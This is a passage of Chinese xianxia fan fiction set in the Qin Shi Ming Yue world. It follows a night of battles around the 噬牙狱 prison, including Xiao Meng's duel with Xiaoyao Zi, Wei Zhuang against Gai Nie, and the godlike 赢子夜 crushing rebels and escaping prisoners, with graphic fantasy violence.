就在角落里的礁石阴影中,六道身影无声伫立。
真刚抱剑而立,断水闭目凝神,乱神舔着刀刃,魍魉把玩着**,转魄与灭魂则如幽灵般隐于黑暗。
“大人有令。”
真刚声音冰冷,
“助他们开门。”
乱神咧嘴一笑,眼中尽是嗜血之色:
“墨家的老鼠…罗网的蜘蛛…倒是场好戏。”
海浪拍岸,噬牙狱的轮廓在月色下愈发狰狞。
盗跖第一个跃上前,铜板在掌心一转,咧嘴笑道:
“诸位,盗王之王先走一步——”
他身影消失的刹那,黑暗中无数双眼睛同时睁开。
……
桑海城外三十里,矿山深处。
炽热的熔岩在沟壑间缓缓流动,将整个矿洞映照得如同炼狱。
龙且赤裸上身,古铜色的皮肤上布满鞭痕,铁链锁住他的手腕,却锁不住他眼中燃烧的火焰。
“狗官!有本事杀了我!”
他猛地挣动锁链,火星四溅。
秦军监工冷笑着一鞭子抽在他背上:
“楚国余孽,也配叫嚣?明日就将你押往咸阳,车裂示众!”
龙且啐出一口血沫,忽然咧嘴笑了:
“车裂?就凭你们这些秦狗——”
话音未落,矿洞外突然传来一阵骚动。
紧接着是惨叫,是兵戈碰撞的锐响,是战马嘶鸣!
“怎么回事?!”
监工刚转身,一杆霸王戟已经破空而来,将他钉死在岩壁上!
烟尘中,项羽纵马跃入,乌骓长嘶,蹄铁踏碎满地矿石。
他目光如电,扫过满身伤痕的龙且,眼中怒火几乎要化作实质:
“兄弟,我来晚了。”
龙且瞳孔骤缩,铁链被挣得哗啦作响:
“少羽?!”
项羽翻身下马,霸王戟横扫,锁链应声而断。
龙且踉跄着站起,却一把抓住项羽的肩膀:
“快走!这是陷阱!矿山里埋伏了三百秦兵!”
“我知道。”
项羽打断他,从怀中掏出一卷竹简。
“一位前辈的提点。”
竹简展开,赫然是矿山布防图,每一处暗哨都用朱砂标得清清楚楚。
龙且倒吸一口凉气,这份竹简上,连秦军换岗时间都摸透了?
洞外喊杀声渐近。
项氏子弟挥舞着楚剑冲杀进来,为首的项梁一剑劈开两名秦兵,高声道:
“速战速决!赢子夜的人随时会到!”
龙且夺过一柄长刀,刀锋映着他狰狞的笑容:
“腾龙军团的弟兄们!还等什么?!”
岩壁后方突然跃出数十名赤膊壮汉,每人背上都纹着火龙图腾——
正是当年掩护项羽突围的腾龙军团残部!
他们手持火把,将早就埋好的火油罐砸向矿道各处。
“轰——!”
烈焰冲天而起,整个矿山瞬间化作火海。
秦军在火中哀嚎逃窜,却见龙且带着腾龙军团堵住出口,刀光如林。
“少羽你看!”
龙且从怀中掏出一面残破的楚旗,
“这些年,我一直在等这一天!”
项羽接过旗帜,上面“楚”字虽已褪色,却依旧刺目。
他忽然想起五年前,龙且父亲临死前将这面旗塞给自己时的眼神。
与此刻龙且眼中的火焰如出一辙。
“风林火山……”
项羽握紧旗帜,声音沙哑,
“火已归位。”
……
远处山巅,楚南公拄着拐杖眺望火海,笑得像个老顽童:
“烧吧,烧得再旺些……”
他转身隐入黑暗,哼着楚地小调,
“楚虽三户,亡秦必楚哟……”
……
一炷香后。
矿洞深处,幸存的秦军跪地求饶。
龙且拎着血刀走到项羽身旁:
“这些杂碎怎么处置?”
项羽看着火光中飘舞的楚旗,脑海中忽然浮现出秦廷里那满朝文武不可一世的脸。
霸王戟重重顿地:
“带上他们,我要让天下人知道——”
“楚国,回来了!”
……
海风呜咽,夜色如墨。
盖聂一行人沿着崎岖的海岸线快速行进,噬牙狱那狰狞的轮廓已隐约可见。
盗跖身形如电,在礁石间几个起落便跃出十余丈。
班大师的机关鸟在空中盘旋,铜镜折射的月光为众人指引方向。
铁锤扛着巨锤殿后,每一步都踏得碎石飞溅。
突然,一阵清风拂过。
海面上泛起细密的波纹,月光下竟凝结出朵朵冰莲
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!
盖聂猛地按住木剑,眼中精光暴涨:“停!”
众人骤然止步。
只见前方礁石上,一道白衣身影翩然而立。
晓梦手持秋骊剑,衣袂飘飘,宛如月宫仙子。
她双眸微闭,却在逍遥子迈步的瞬间骤然睁开:“逍遥子,今日该做个了断了。”
逍遥子拂尘轻扫,身后三十名人宗弟子立刻结阵。
他神色凝重,却不见慌乱:“晓梦师妹,多年不见,你倒是愈发咄咄逼人了。”
“师妹?”
晓梦冷笑,秋骊剑缓缓出鞘。
剑锋划过空气的瞬间,方圆十丈内的海浪突然凝固成冰。
“雪霁剑乃天宗至宝,今日我要亲手取回。”
盖聂目光一沉,木剑已然出鞘三寸。
逍遥子却抬手制止:“盖先生,你们先行一步。这是道门内务,老道自当了结。”
铁锤怒目圆睁:“这娘们明显是来拖延时间的!”
盗跖的铜板在指尖飞速旋转,眼中闪过焦急:“老头,你行不行啊?”
逍遥子不答,只是将拂尘往肩头一搭。
霎时间,他周身道袍无风自动,一股浑厚真气如江河奔涌!
晓梦眼中闪过一丝讶异,随即化作更冷的锋芒:“看来这些年,你倒是没荒废。”
“走!”
盖聂当机立断,带着众人绕路疾行。
铁锤不甘地瞪了晓梦一眼,却听身后已传来惊天动地的剑气碰撞声!!
“锵——!”
晓梦的秋骊剑化作一道白虹直刺逍遥子咽喉。
这一剑快得匪夷所思,剑锋所过之处,空气竟凝结出细密的冰晶。
逍遥子不闪不避,拂尘轻扬,三千尘丝突然暴涨,如银河垂落,将剑气尽数化解。
“坐忘心法?”
晓梦挑眉,“可惜只得其形。”
她突然旋身而起,秋骊剑在空中划出完美的圆弧。
刹那间,九道剑气如莲花绽放,将逍遥子团团围住。
每一道剑气都蕴含着极致寒意,礁石触之即碎,海浪遇之成冰!
逍遥子长叹一声,终于拔出雪霁剑。
剑出鞘的刹那,一股温暖如春的剑气弥漫开来。
两股截然相反的剑气在半空相撞,爆发出震耳欲聋的轰鸣!!
气浪掀得十丈内的海水倒卷而起,化作漫天水雾。
……
远处小圣贤庄的高台上,三位当家同时变色。
伏念的圣王剑突然剧烈震颤:“这是…天人之争?”
颜路的含光剑佩结出细密冰珠,又迅速融化:“两股截然相反的道韵,竟能引动天地异象……”
张良的铜板早已停止转动,他死死盯着海面上那团交织的光影——
晓梦的白衣如雪,剑气森寒似万载玄冰。
逍遥子的道袍翻飞,剑意温润如三月春风。
两股力量每一次碰撞,都让夜空中的星辰为之黯淡。
“轰!”
又是一次惊天动地的对拼。
晓梦凌空而立,秋骊剑指天,竟引下一道皎洁月光!
那月光在剑尖凝聚,渐渐化作一头振翅高飞的冰凤。
逍遥子则脚踏八卦,雪霁剑画圆,剑气如春藤疯长,转瞬间编织成一张遮天巨网。
冰凤与巨网轰然相撞。
刹那间!
方圆百丈的海面同时炸开!
巨浪冲天而起,却在最高处冻结成无数冰锥。
这些冰锥并未坠落,而是悬浮在半空,被某种无形力量牵引着缓缓旋转。
逍遥子面色微变:“周天星斗大阵?你竟修成了天宗禁术!”
第109章 我们的账,该清了!!!
晓梦不答,剑锋轻转。
那万千冰锥突然调转方向,如暴雨般向逍遥子倾泻而下。
每一根冰锥都蕴含着凌厉剑气,破空之声凄厉如鬼哭。
千钧一发之际,逍遥子突然弃剑结印。
雪霁剑悬浮身前,剑身绽放出耀目青光。
青光中隐约可见万千符文流转,竟在虚空中勾勒出一幅太极图案!!
“道法自然!”
太极图急速旋转,将袭来的冰锥尽数搅碎。
但逍遥子也闷哼一声,嘴角溢出一丝鲜血。
他身后的弟子们齐声惊呼,却被气浪掀得东倒西歪。
晓梦飘然落地,秋骊剑斜指海面:
“交出雪霁,饶你不死。”
逍遥子擦去血迹,突然笑了:“晓梦师妹,你可知为何当年我能嬴师兄?”
不等回答,他剑势突变,雪霁剑上的青光突然化作熊熊烈焰!
“因为天宗忘情,人宗证道。”
“这剑在你手中,永远只是利器!”
“在我手中,方能显其真意!!!”
烈焰冲天而起,竟在半空化作一条火龙!
火龙与残余的冰凤纠缠撕咬,道韵碰撞产生的冲击波将附近礁石尽数碾为齑粉。
海面上的激战已至白热化。
晓梦剑招越发凌厉,每一剑都带着摧山断岳的威势。
逍遥子则以柔克刚,雪霁剑如柳絮随风,将狂暴攻势一一化解。
两人从礁石战至海面,踏浪而行如履平地。
又从海面斗到半空,剑气纵横搅得云层破碎!
突然,晓梦剑势一顿。
秋骊剑尖凝聚出一滴晶莹水珠,那水珠看似柔弱,却让逍遥子面色大变:“上善若水?!你……”
话音未落,水珠已爆射而出!
飞行途中,它一分为二,二分为四,转眼化作漫天雨箭。
更可怕的是,每一滴“雨水”都重若千钧,落海则浪涌十丈,触石则地裂山崩!
逍遥子避无可避,只得横剑格挡。
雪霁剑发出不堪重负的哀鸣,剑身竟出现细密裂纹。
就在这危急时刻,一道青光自天外飞来,精准地击在那滴水珠本源之上。
“啪!”
水珠破碎,漫天雨箭顿时消散。
而晓梦,却是闭目凝思。
脑海中回响着先前在六公子府里,那句若有若无的点拨:
“剑之极境,不在招式,而在心意。”
“心之所向,剑随而动,意动天地…进而达到‘天地与我并生’之境。”
忽然间,天地一静。
晓梦睁眼,眸光如星!
下一瞬,她抬手持剑,轻描淡写地一引,那原本空灵悠远的剑意竟陡然一变,如银河倒灌,苍穹倾斜!
逍遥子眉头一跳,拂尘一震,脚下的八卦图阵瞬间亮起光辉,内息调动至极致!
“好剑意。”
他低语,声音中带着几分惊叹,更多却是凝重。
晓梦踏前一步,剑锋未动,剑意已压如山峦。
虚空之中,仿佛响起了风雷激荡之声,一股无形的气机将逍遥子死死锁定。
太极图阵剧烈震颤!
逍遥子衣袂猎猎,手中拂尘凝成实质,化为玄光抵挡,却依旧被那剑意一寸寸压迫而退。
数息之间!
局势已悄然逆转。
晓梦白衣不动,剑锋微颤,整个人却宛若屹立风暴中心的孤峰,傲然而立,气机汹涌如潮。
逍遥子神色凝然,却不怒反笑,拂尘回收,道气内敛。
“晓梦师妹果然天资绝世。”
他语声温和,却掩不住语气中的一丝疲态。
“这一局,已非旧日可比。”
……
与此同时。
烛火摇曳。
墨家秘密据点内弥漫着压抑的寂静。
端木蓉正在为受伤的墨家弟子包扎,手指却在微微发抖。
雪女倚窗而立,冰蓝色的眸子不断扫视着外面的夜色,手中长笛不自觉地转动着。
“蓉姐姐,你说大叔他们能成功吗?”
天明蹲在墙角,手指无意识地在地上画着圈。
他努力装出轻松的样子,但声音里的颤抖出卖了他。
端木蓉勉强挤出一丝微笑:“有你大叔在,一定……”
话音未落,雪女的长笛突然脱手坠地。
她猛地转身,长发无风自动:“有人来了!”
几乎同时,窗棂爆裂!
幽蓝色的气刃呼啸而入,将整面墙壁撕得粉碎。
烟尘中,星魂踏着月光缓步而来,嘴角挂着戏谑的冷笑:“原来小老鼠都躲在这里啊~”
“阴阳家!”
雪女厉喝一声,长袖翻飞间无数冰锥爆射而出。
星魂连眼皮都没抬,随手一挥,气刃便将冰锥尽数绞碎。
大司命从另一侧现身,红唇微启:“真是热闹呢~”
她指尖轻点,骷髅血手印凭空浮现,三名冲上前的墨家弟子瞬间被抽干精血,化作干尸倒地。
“保护天明!!!”
端木蓉银针出手,却见大司命妩媚一笑,血手印轻轻一捏,银针便化为齑粉。
天明握紧非攻,却发现自己双腿不听使唤地发抖。
星魂的目光锁定在他身上,幽蓝瞳孔中闪烁着猫戏老鼠般的愉悦:“东皇首领要见你,这可是莫大的荣幸啊。”
雪女突然吹响长笛,刺骨的寒气席卷整个房间。
地面结出厚厚的冰层,墙壁上绽放出无数冰花。
她挡在天明身前,声音冷得掉渣:“想带走他,先过我这关!”
星魂哈哈大笑,双手聚气成刃,蓝紫色的光芒照亮了他狰狞的面容:“就凭你们这些残兵败将?”
大司命舔了舔嘴唇,血手印在周身环绕:“小弟弟,乖乖跟我们走,还能少吃点苦头呢~”
端木蓉将天明护在身后,银针在指间泛着寒光。
墨家弟子们纷纷拔剑,却掩饰不住眼中的恐惧。
星魂的气刃越来越近,大司命的血手印已经封**所有退路。
冰层在星魂脚下寸寸碎裂,雪女的额头渗出细密的汗珠!
端木蓉的银针一根接一根地射出,却被血手印轻松化解。
墨家弟子们一个接一个倒下,鲜血染红了地面的冰晶!
天明看着节节败退的众人,非攻在手中变换着形态,却始终找不到出手的机会。
星魂的笑声越来越近,那幽蓝的气刃几乎要触及雪女的咽喉!!
……
小圣贤庄。
竹林深处,夜风呜咽。
荀子佝偻着背,
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青竹杖深深插入泥土,枯瘦的手指微微颤抖。
远处桑海城的火光映在他浑浊的眼底,仿佛燃烧的业火,将这座百年儒门圣地一点点吞噬。
“明日……”
他沙哑低语,声音被风吹散。
海雾弥漫,隐约可见赢子夜玄色的身影立于高台之上,如帝王般俯视着这场由他亲手导演的乱局。
荀子的目光死死锁在那道身影上,胸腔中翻涌着复杂的情绪——
忌惮、愤怒,甚至……
一丝难以言喻的惊叹。
这个年轻人,太像那个人了。
像那个年少在赵国为质,却能一统天下的帝王。
竹杖“咔嚓”一声裂开细纹。
荀子忽然剧烈咳嗽起来,袖口染上点点猩红。
他望着掌心咳出的鲜血,又看向远处赢子夜的方向,嘴角扯出一抹苦涩的弧度。
“好一个……帝王之剑。”
夜枭啼叫,竹叶纷飞。
老人佝偻的背影渐渐隐入黑暗,只剩一声长叹随风飘散。
……
夜色如墨。
海浪拍打着礁石,噬牙狱的轮廓在月光下显得愈发狰狞。
盖聂一行人疾行于海岸线上,距离那扇沉重的狱门已不足二十丈。
突然,一阵刺骨的杀意如潮水般涌来!
盖聂猛地按住木剑,瞳孔骤缩:
“小心!”
“师哥,好久不见。”
沙哑的声音从黑暗中传来,卫庄缓步走出,鲨齿剑拖在地上,划出刺目的火星。
但此刻的他,与往日截然不同——
暗红色的戮魂剑悬浮在他身侧,血煞之气如有实质般在周身缠绕,那双金色的瞳孔中竟泛着诡异的血光!!
高渐离的水寒剑瞬间出鞘,剑锋凝结出细密的冰晶:
“卫庄!”
“别急。”
白凤的身影无声无息地出现在礁石顶端,指尖把玩着一片羽毛:
“你们的对手可不止一个。”
赤练扭、动着腰肢从阴影中走出,她的手腕上缠绕着一条通体赤红的小蛇,蛇瞳却泛着从未有过的幽蓝光芒:
“小高,人家可是很想你呢~”
大铁锤怒吼一声,巨锤重重砸向地面:
“少废话!要打就打!”
盖聂的目光始终锁定在卫庄身上。
他能感觉到,这个曾经在机关城败给他的师弟已经脱胎换骨——
那股血腥暴戾的气息,甚至让他的木剑在鞘中微微震颤。
“小跖,班大师,你们先走。”
盖聂缓缓拔出木剑,声音平静得可怕:
“这里交给我们。”
盗跖的铜板在指尖飞速旋转:
“老盖,你……”
“走!”
盖聂突然厉喝,木剑猛地指向卫庄:
“我们的账,该清了。”
卫庄嘴角勾起一抹狰狞的弧度,戮魂剑突然血光大盛:
“正合我意。”
两柄剑碰撞的瞬间,恐怖的气浪席卷整个海岸!
盖聂震惊地发现,卫庄的每一剑都带着山岳般的重量!
更可怕的是,那血煞之气竟在侵蚀他的内力!!!
“这是什么**?”
盖聂闪身避开一道血色剑气,原先站立的地面竟被腐蚀出一个丈许深坑。
第110章 凌空虚渡,如神如魔!
卫庄狂笑,金色长发在血光中飞舞:
“师哥,这次你还能全身而退吗?”
另一边,高渐离的水寒剑与赤练的王蛇激烈交锋。
令他震惊的是,那条原本不过尺许长的小蛇,此刻竟能喷吐出幽蓝的火焰,将他的冰晶剑气生生融化!
“玄阴丹的滋味如何?”
赤练娇笑着,手腕一抖,蛇影如电:
“小宝贝可是很喜欢呢~”
白凤的身影在月光下闪烁不定,每一次现身都伴随着锋利的羽刃。
高渐离不得不分心应对,很快左臂就被划出数道血痕。
大铁锤与苍狼王的战斗最为狂暴。
巨锤与狼爪每一次碰撞都火花四溅,但更令大铁锤心惊的是,苍狼王的眼中竟泛着与卫庄相似的血光,速度与力量都暴涨了数倍!
“妈的!这群人**了?”
大铁锤吐出一口血沫,巨锤抡出狂风。
盗跖和班大师趁机冲向狱门,眼看就要抵达——
“嗖!”
一道黑影突然从海中窜出,隐蝠展开巨大的肉翼,利爪直取班大师咽喉!
“老班小心!”
盗跖的铜板爆射而出,却被另一道黑影轻松挡下。
墨玉麒麟如幽灵般现身,手中短刃泛着幽绿的光!!!
“跑啊!怎么不跑了?”
隐蝠舔着嘴唇,眼中尽是嗜血的光芒。
班大师的机械臂咔咔作响,却心知不妙——
以他们二人之力,绝难同时应对这两个怪物!
千钧一发之际,数道寒光突然从黑暗中射出!
隐蝠惨叫一声,肉翼被洞穿三个血洞。
墨玉麒麟更是被一道黑影直接撞飞,重重砸在礁石上。
“谁?!”
隐蝠惊怒交加。
黑暗中,六道身影缓缓浮现——
正是罗网六剑奴!
但此刻他们全都戴着面具,真刚的剑锋上还滴着隐蝠的血。
“多管闲事!”
隐蝠怒吼,却不敢轻举妄动。
盗跖虽然疑惑,但机不可失:
“多谢相助!”
拉起班大师就冲向狱门。
墨玉麒麟挣扎着爬起来,却见断水的剑已经抵在他咽喉。
这个从不说话的**,此刻眼中竟闪过一丝警告。
卫庄察觉到变故,怒吼一声想要阻拦,却被盖聂的木剑死死缠住:
“你的对手是我!”
“滚开!”
卫庄暴怒,戮魂剑突然血焰暴涨,一道十丈长的血色剑气横扫而出!
盖聂不得不暂避锋芒,木剑上竟被腐蚀出缕缕青烟。
高渐离趁机吹响雪箫,极寒的冰晶暂时逼退了赤练和白凤。
“铁锤!走!”
大铁锤一锤震退苍狼王,三人迅速向狱门撤去。
卫庄想要追击,却发现盖聂如影随形地缠了上来。
“你以为这样就能救出那人?”
卫庄狞笑,突然从储物戒中取出一枚血色丹药吞下:
“太天真了!”
刹那间,卫庄的气息再度暴涨!
戮魂剑上的血煞之气化作实质般的锁链,将方圆十丈内的空间都染成了血色。
盖聂的衣角触及那血雾,竟瞬间化为飞灰!!!
“你这……?”
盖聂面色前所未有的凝重,木剑第一次完全出鞘:
“你竟堕入魔道!!”
卫庄的笑声如同地狱恶鬼:
“只要能赢你,入魔又如何?”
两柄剑再次碰撞,这一次,整片海岸都在颤抖!
礁石崩裂,海浪倒卷,连远处的噬牙狱都传来沉闷的回响。
高渐离回头望去,只见那片血色领域中,两道身影以肉眼难辨的速度交锋着。
每一次碰撞都让空间扭曲,那是超越了凡人界限的力量!
“盖先生……”
高渐离握紧水寒剑,却听身后狱门传来沉重的开启声。
盗跖的声音远远传来:
“老高!门开了!”
赤练的蛇影再次袭来:“想走?”
白凤的羽刃封锁了所有退路:
“留下吧。”
就在此时,噬牙狱深处突然传来一声震天动地的怒吼!
那声音中蕴含的狂暴力量,竟让所有人都为之一颤。
卫庄的动作突然停滞,金色瞳孔中血光闪烁。
“胜七?!”
他想要追击,却被一道突如其来的水幕阻隔——
竟是高渐离以最后内力催动的冰墙!
盖聂趁机一剑逼退卫庄,与他缠斗在一起。
“混账!”
卫庄一剑劈碎冰墙,却见高渐离等人已经消失在狱门之后。
他金色的瞳孔中血光暴涨,戮魂剑上的冤魂哀嚎越发凄厉。
赤练担忧地靠近:
“卫庄大人……”
“无妨。”
卫庄突然冷静下来,嘴角勾起一抹残忍的弧度:
“让他们进去才好。”
“你说是吧,师哥……”
海风呜咽,卷起浓重的血腥气。
盖聂手持木剑,渊渟岳峙的站立,一个人,挡在了狱门外。
而远处的桑海城,火光依旧冲天。
……
小圣贤庄内,烛火摇曳。
赢子夜负手立于窗前,玄色衣袍在夜风中猎猎作响。
远处桑海城的火光渐熄,却仍有余烟袅袅升起,如同垂死挣扎的游魂。
“砰!”
殿门被猛地推开,赵弋苍龙行虎步踏入,玄铁重甲上血迹未干。
他单膝跪地,声音如铁石相击:
“禀公子,六国余孽已伏诛七十八人!”
“项梁授首,齐将厉箴伏诛,韩氏余党尽灭!!!”
伏念手中的酒盏“啪”地落地,碎瓷四溅。
颜路面色惨白,含光剑佩竟自行结出冰晶。
张良死死攥着铜板,指节发青——
项梁,那可是楚国名将,竟就这样**?
赢子夜头也不回,声音平静得可怕:
“项羽呢?”
赵弋苍铁面下的眉头一皱:
“尚未发现踪迹。”
突然,殿外传来急促的脚步声。
一名黑甲兵士跌跌撞撞冲进来:
“报——!矿山遇袭,守军全军覆没!发现……发现楚霸王旗!”
“轰!”
一道无形威压骤然爆发,殿内烛火齐齐熄灭。
三位庄主如坠冰窟,只觉胸口如压千钧,几乎要跪倒在地!!!
赢子夜缓缓转身,眸中寒芒如电:
“暗河听令。”
赵弋苍浑身一震:
“在!”
“追。”
简简单单一个字,却让殿内温度骤降。
“活要见人,死要见尸。”
“诺!”赵弋苍抱拳领命,转身时铁甲铿锵作响。
恰在此时,又一名黑冰台密探仓皇闯入:
“噬牙狱急报!有神秘势力在帮助
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墨家,实力……实力远超预估!狱内守军损失惨重!”
“砰!”
赢子夜脚下的青砖突然龟裂,蛛网般的裂纹瞬间蔓延至整座大殿。
三位庄主骇然失色——
这可是加持了儒家禁制的青金石,寻常刀剑难伤分毫!
“废物。”
赢子夜冷哼一声,那黑冰台密探如遭雷击,一口鲜血喷出,踉跄后退。
下一刻,令三位庄主永生难忘的一幕出现了——
赢子夜一步踏出,竟凌空虚渡!
玄色衣袍在月下翻飞,如神似魔。
他每一步落下,脚下便凝结出一朵黑色莲华,转瞬又消散于无形。
夜风呜咽,卷起他散落的长发,露出那双冰冷如九幽寒潭的眼眸。
“这……这……”
伏念的圣王剑“当啷”坠地,这位儒家掌门竟控制不住地颤抖起来。
颜路双腿发软,含光剑佩上的冰晶“咔嚓”碎裂:
“凌空虚渡…这是……仙人之术?”
张良的铜板早已熔成铁水,烫得他掌心皮开肉绽却浑然不觉。
他死死盯着那道渐行渐远的背影,眼中尽是骇然:
“六公子……究竟到了何等境界?”
远处,噬牙狱方向突然爆发出惊天动地的轰鸣。
一道血色光柱冲天而起,隐约可见狱门崩碎的景象。
赢子夜的身影在月光下愈发模糊,唯有那冰冷的声音遥遥传来:
“三位庄主不妨同往,看看这场好戏的终章。”
话音未落,他的身影已化作一道黑色流光,瞬息掠过百丈海域。
所过之处,海浪自动分开,仿佛在畏惧这位人间君王。
三位庄主呆立原地,久久不能回神。
夜风卷着血腥气灌入大殿,吹得他们衣袍翻飞。
远处,噬牙狱的厮杀声越来越近,而那个男人的背影,已然消失在血色月光之中。
“我们……”
伏念艰难地咽了口唾沫:
“要去吗?”
张良突然惨笑一声,看着掌心凝固的铁水:
“有的选吗?”
海雾渐浓,吞噬了三人的身影。
这一夜,注定要改写整个天下的格局。
……
此刻。
桑海城的街巷间火光未熄。
赢子夜踏空而行,玄色衣袍在风中猎猎作响,每一步落下都仿佛踏在天地脉络之上,震得整座城池微微颤动。
“拦住他!”
巷弄中突然窜出三名幸存的六国死士,剑锋上淬着幽蓝毒光。
赢子夜眼皮都未抬一下,袖袍随意一挥。
“轰!”
三道身影瞬间炸成血雾,连惨叫都来不及发出。
他脚步未停,继续向前,身后只余一滩缓缓扩散的血泊。
转角处,五名农家弟子挥舞着镰刀冲来:
“杀——!”
“聒噪。”
赢子夜屈指一弹,五颗头颅同时飞起,无头尸体仍保持着冲锋的姿势,又奔出数步才轰然倒地。
城楼之上,一名楚国箭手拉满长弓,箭簇直指赢子夜后心。
“嗖!”
利箭破空,却在距离赢子夜三尺之处突然凝滞。
随即调转方向,以更快的速度洞穿了射手自己的咽喉。
整座桑海城都在赢子夜的威压下颤抖。
那些零星的抵抗如同螳臂当车,连让他放缓脚步都做不到。
……
第111章 给本公子,滚回去!
海浪滔天。
卫庄的戮魂剑划出一道血色长虹,将盖聂逼退十余丈。
盖聂的木剑已经布满裂痕,右肩一道深可见骨的伤口正汩汩流血。
他单膝跪在礁石上,呼吸粗重如风箱。
“师哥,你退步了。”
卫庄狞笑着步步逼近,金色长发在血煞之气中狂舞。
“还是说…我进步得太快?”
盖聂艰难抬头,看着眼前这个既熟悉又陌生的师弟。
卫庄周身缠绕的血色锁链如同活物,每一次呼吸都带着浓重的血腥味。
那双金色的瞳孔中,早已找不到半点人性。
“小庄……”
盖聂咳出一口鲜血。
“你究竟……修炼了什么邪功?”
“邪功?”
卫庄突然狂笑,戮魂剑上的冤魂哀嚎越发凄厉。
“只要能杀你——!”
他猛地前冲,剑锋直取盖聂咽喉。
千钧一发之际,整片海域突然凝固!
两人同时僵住,仿佛被无形的力量禁锢。
一股令人窒息的威压从天而降,海浪瞬间平息,连风声都为之停滞。
“这是……!”
卫庄艰难抬头,只见一道玄色身影从他们头顶掠过,如神似魔!!
那双冰冷的金色瞳孔只是随意瞥了一眼,却让卫庄如坠冰窟——
那是怎样的一种力量?
自己苦修的血狱魔罗诀,在那人面前竟如儿戏!
盖聂的脸色更加惨白:
“六公子……”
赢子夜的身影一闪而逝,直奔噬牙狱而去。
威压消散的瞬间,卫庄突然暴怒:
“凭什么!”
戮魂剑血光大盛。
“我才是最强的!”
盖聂趁机一剑刺出,木剑虽残,剑气却凝练如初。
卫庄仓促格挡,仍被震退数步。
他眼中的血色越发浓重,突然从储物戒中取出一枚猩红丹药吞下。
盖聂大惊。
“吃了这种丹药,你会经脉尽断而亡!”
卫庄的皮肤却开始龟裂,血雾从毛孔中渗出,气息却暴涨数倍。
“死又何妨?!”
戮魂剑化作百丈血虹,将整片海域染红。
盖聂避无可避,木剑终于不堪重负,咔嚓一声断为两截。
生死关头,他眼中精光暴涨,竟以断剑为引,施展出纵横剑术的至高奥义——
“百步飞剑!”
一道青光如龙腾空,与血虹轰然相撞!!!
恐怖的气浪将方圆百丈的礁石尽数粉碎,海水倒卷形成巨大漩涡。
烟尘散去,卫庄拄剑而立,胸前一道剑痕深可见骨。
而盖聂……他的左臂齐肩而断,鲜血如泉涌出。
“呵……呵呵……”
卫庄狞笑着逼近。
“师哥,你输了。”
盖聂面色惨白如纸,却突然笑了:
“小庄……你还没发现吗?”
他艰难地指向卫庄胸口。
“你的心脉…已经……”
卫庄低头,只见胸前的伤口中,一缕青色剑气如附骨之疽,正沿着经脉侵蚀。
他暴怒地挥剑,却见盖聂突然纵身跃入海中。
“想逃?”
卫庄正要追击,突然单膝跪地,喷出一口黑血。
那缕剑气竟在破坏他刚服下的燃血丹药力,两股力量在体内疯狂冲突。
反而远处海面上,盖聂的身影渐渐消失。
卫庄的怒吼响彻夜空:
“盖聂!下次见面,我必取你性命!”
海浪翻涌,将血迹冲刷得一干二净。
只有那柄断成两截的木剑,静静躺在礁石上,见证着这场师兄弟之间的生死对决。
突然!
噬牙狱方向,一道通天血光突然冲天而起。
卫庄抬头望去,眼中血色渐退,取而代之的是一抹深深的忌惮。
他擦去嘴角血迹,转身消失在夜色中。
……
与此同时。
六剑奴也正在暗处蛰伏,真刚的铁面具下突然渗出冷汗。
他猛地抬手,五指死死扣住剑柄。
远处那道冲天而起的恐怖气息,让这位天字一等**浑身汗**倒竖。
“退!”
真刚从牙缝里挤出一个字,声音嘶哑得不像自己。
断水的蒙眼布无风自动,这位向来沉稳的老者竟踉跄后退两步。
他修炼多年的心眼之术,此刻“看”到的不是人,而是一轮吞噬天地的黑色大日!
乱神的邪气瞬间溃散,手中名剑“乱神”发出不堪重负的哀鸣。
他狰狞的面具咔嚓裂开一道缝,露出下面惨白的脸色:“这他妈是什么怪物……”
魍魉双剑脱手坠地,少年心性的**此刻如见鬼魅。
转魄、灭魂这对双胞胎姐妹更是不堪,娇躯颤抖如筛糠,腹部的蜘蛛纹身竟渗出鲜血。
“大人说过……”
真刚强撑着发令,铁甲下的肌肉绷得生疼。
“若见到六公子亲自出手…立刻撤离……”
六道身影如丧家之犬般仓皇逃窜。
向来配合无间的六剑奴,此刻却连最基本的阵型都维持不住。
真刚的披风被礁石刮破,断水的竹杖折断,乱神甚至丢下了随身的暗器囊。
他们从未如此狼狈过。
因为那道气息的主人,根本不该存在于这凡尘世间!
而噬牙狱外,血月当空。
滔天海浪在距离岸边百丈处突然凝固,仿佛被无形的屏障阻隔。
赢子夜踏空而至,玄色衣袍在腥风中纹丝不动。
唯有那双金色瞳孔中燃烧的冷焰,照亮了这片人间炼狱。
“轰!”
一道冰蓝色身影从狱门倒飞而出,重重砸在礁石上。
高渐离的水寒剑寸寸碎裂,胸口凹陷处凝结着诡异的黑冰。
他挣扎着抬头,正对上赢子夜俯视的目光——
那眼神,如同天神俯瞰蝼蚁。
“嬴…子夜……”
鲜血从齿缝间溢出。
赢子夜连手指都未动一下,高渐离周身突然浮现无数黑色丝线,瞬间勒入血肉!
经脉尽断的脆响混着惨叫声响彻海岸。
这位墨家高手如破布般瘫软在地,眼中神采迅速黯淡。
“聒噪。”
赢子夜袖袍轻拂,高渐离如败絮般被扫入海中。
“咔嚓——”
噬牙狱厚重的玄铁大门突然扭曲变形,无数道裂痕如蛛网般蔓延。
下一刻,伴随着震天动地的轰鸣,整扇大门炸成碎片!
黑压压的囚犯如潮水般涌出,每个人眼中都燃烧着疯狂的杀意。
“杀!杀光秦狗!”
“老子自由了!”
冲在最前的是一名独眼巨汉,手中铁链横扫,三名黑冰台精锐顿时脑浆迸裂。
他狂笑着撕开衣襟,露出胸口狰狞的狼头刺青:“楚国的儿郎们!随我——”
声音戛然而止。
赢子夜不知何时已站在他面前,右手轻描淡写地按在其天灵盖上。
“噗”的一声闷响,巨汉七窍喷血,壮硕身躯如烂泥般瘫倒。
至死,他都没看清对方是如何出手的。
整个海滩瞬间死寂。
囚犯们的狂笑凝固在脸上。
这些穷凶极恶之徒,此刻却如同被毒蛇盯住的青蛙,连手指都不敢稍动。
因为那个玄衣男子仅仅是站在那里,就让他们灵魂都在颤栗!<
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br>“本公子允许你们出来了?”
平静的声音如同丧钟,在每个人耳边炸响。
赢子夜缓缓抬手,指尖泛起幽暗光芒。
霎时间,天地变色!
“嗡——”
一道直径百丈的黑色光轮在赢子夜背后浮现,无数符文如活物般游走。
光轮转动间,整片海域的海水倒卷而起,在空中凝结成千万柄血色长剑!
“逃啊!”
囚犯中不知谁喊了一声,人群顿时炸开。
可惜太迟了。
赢子夜指尖轻点,漫天血剑如暴雨倾泻!
第一波剑雨落下,三十余名囚犯瞬间被钉成肉泥。
第二波剑雨扫过,六十多人拦腰截断。
